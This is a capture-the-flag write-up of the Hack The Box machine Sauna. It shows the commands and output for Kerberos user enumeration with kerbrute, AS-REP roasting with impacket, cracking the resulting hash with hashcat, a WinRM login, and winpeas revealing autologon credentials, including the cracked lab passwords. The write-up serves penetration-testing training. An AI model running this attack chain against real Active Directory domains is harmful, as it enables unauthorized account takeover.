Hack The Box Sauna Writeup (Easy Windows)

Summary

Sauna’s /about.html page lists the staff of EGOTISTICALBANK by name, which username-anarchy turns into a candidate username list. kerbrute confirms which of those names exist in Kerberos, and GetNPUsers shows that fsmith has pre-authentication disabled, returning an AS-REP hash. hashcat cracks it in mode 18200 to Thestrokes23, and those credentials open a WinRM session on the domain controller. Running winpeas from that session finds autologon credentials left in the registry for the service account svc_loanmanager, with its password in the clear.

Reviewing the website, the tester found /about.html containing the names of the people that work for the company.

The tester did put them into a employees.txt file:

Fergus Smith 
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb

The tester used username-anarchy tool to create their usernames:

./username-anarchy -i ~/Hacking/HackTheBox/Machines/Easy/Sauna/employees.txt 
fergus
fergussmith
fergus.smith
fergussm
fergsmit
ferguss
f.smith
fsmith
sfergus
s.fergus
smithf
smith
smith.f
smith.fergus
fs
shaun
shauncoins
shaun.coins
shauncoi
shaucoin
shaunc
s.coins
scoins
cshaun
c.shaun
coinss
coins
coins.s
coins.shaun
sc
sophie
sophiedriver
sophie.driver
sophiedr
sophdriv
sophied
s.driver
sdriver
dsophie
d.sophie
drivers
driver
driver.s
driver.sophie
sd
bowie
bowietaylor
bowie.taylor
bowietay
bowitayl
bowiet
b.taylor
btaylor
tbowie
t.bowie
taylorb
taylor
taylor.b
taylor.bowie
bt
hugo
hugobear
hugo.bear
hugob
h.bear
hbear
bhugo
b.hugo
bearh
bear
bear.h
bear.hugo
hb
steven
stevenkerb
steven.kerb
stevenke
stevkerb
stevenk
s.kerb
skerb
ksteven
k.steven
kerbs
kerb
kerb.s
kerb.steven
sk

The tester saved the usernames to usernames.txt.

The tester ran kerbrute to enumerate users in kerberos:

$ kerbrute userenum --dc 10.10.10.175 -d EGOTISTICALBANK usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 02/20/25 - Ronnie Flathers @ropnop

2025/02/20 18:41:43 >  Using KDC(s):
2025/02/20 18:41:43 >   10.10.10.175:88

2025/02/20 18:41:43 >  [+] VALID USERNAME:       fsmith@EGOTISTICALBANK
2025/02/20 18:41:43 >  Done! Tested 88 usernames (1 valid) in 0.472 seconds

The tester enumerated for kerberos pre-authentication:

$ impacket-GetNPUsers -no-pass -dc-ip 10.10.10.175 EGOTISTICALBANK/fsmith
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for fsmith
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$fsmith@EGOTISTICALBANK:99dc57e07ab7060ec4d4f61410fdaf7c$5c7e7bc4b3b5364c2c528074e2c4a28fe66fbceadf358ae089498658bf658e5a1778d04333e3934f4b9cbb808a97f93736c4facd6affecad4949eb71626694c6da2bc4220028eb54cabec541b119421398f06ec5b5c4ff9ea95a6e273e1736a0e3b7a4f07fd857fceeef7565ea6e6947c37623746256aab86b0f20098be6af67929b49483c4e79ca6b4e1d96652dc05cced09bbe2daaf805cfcd9cbec8862291cb8be58e5ca1416cbce6d25d69fda477b9b5f80e2d8b5ea094611fca7b8d8c532c61f40bfbd2812da08acf6f4f66d09fbfe41d9492da6fd0b1442bceadb20f6fe2f0acd682dce28da027a527797330910eda121ec6ab8ee2a6

The tester cracked the hash using hashcat:

$ hashcat hashes/sauna.asreproast wordlists/rockyou.txt -d 1
hashcat (v6.2.6) starting in autodetect mode

Successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
             CUDA SDK Toolkit required for proper device support and utilization.
             Falling back to OpenCL runtime.

* Device #2: Unstable OpenCL driver detected!

This OpenCL driver may fail kernel compilation or produce false negatives.
You can use --force to override, but do not report related errors.

nvmlDeviceGetFanSpeed(): Not Supported

OpenCL API (OpenCL 3.0 CUDA 12.7.33) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #1: NVIDIA GeForce GTX 1650, 3456/3718 MB (929 MB allocatable), 14MCU

OpenCL API (OpenCL 1.1 Mesa 24.3.4) - Platform #2 [Mesa]
========================================================
* Device #2: AMD Radeon Graphics (radeonsi, renoir, LLVM 19.1.7, DRM 3.60, 6.12.15-200.fc41.x86_64), skipped

OpenCL API (OpenCL 3.0 PoCL 6.0  Linux, Release, RELOC, LLVM 18.1.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #3 [The pocl project]
================================================================================================================================
* Device #3: cpu-haswell-AMD Ryzen 7 4800H with Radeon Graphics, skipped

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

18200 | Kerberos 5, etype 23, AS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 100 MB

Dictionary cache hit:
* Filename..: wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$fsmith@EGOTISTICALBANK:99dc57e07ab7060ec4d4f61410fdaf7c$5c7e7bc4b3b5364c2c528074e2c4a28fe66fbceadf358ae089498658bf658e5a1778d04333e3934f4b9cbb808a97f93736c4facd6affecad4949eb71626694c6da2bc4220028eb54cabec541b119421398f06ec5b5c4ff9ea95a6e273e1736a0e3b7a4f07fd857fceeef7565ea6e6947c37623746256aab86b0f20098be6af67929b49483c4e79ca6b4e1d96652dc05cced09bbe2daaf805cfcd9cbec8862291cb8be58e5ca1416cbce6d25d69fda477b9b5f80e2d8b5ea094611fca7b8d8c532c61f40bfbd2812da08acf6f4f66d09fbfe41d9492da6fd0b1442bceadb20f6fe2f0acd682dce28da027a527797330910eda121ec6ab8ee2a6:Thestrokes23
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICALBANK:99dc57e07ab706...8ee2a6
Time.Started.....: Thu Feb 20 18:43:23 2025 (2 secs)
Time.Estimated...: Thu Feb 20 18:43:25 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  7683.9 kH/s (6.59ms) @ Accel:512 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10551296/14344385 (73.56%)
Rejected.........: 0/10551296 (0.00%)
Restore.Point....: 10321920/14344385 (71.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ahki_22 -> TUGGIE
Hardware.Mon.#1..: Temp: 38c Util: 31% Core:1605MHz Mem:6000MHz Bus:8

Started: Thu Feb 20 18:43:20 2025
Stopped: Thu Feb 20 18:43:26 2025

Log in via winrm.

Enumerate the system with winpeas

ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!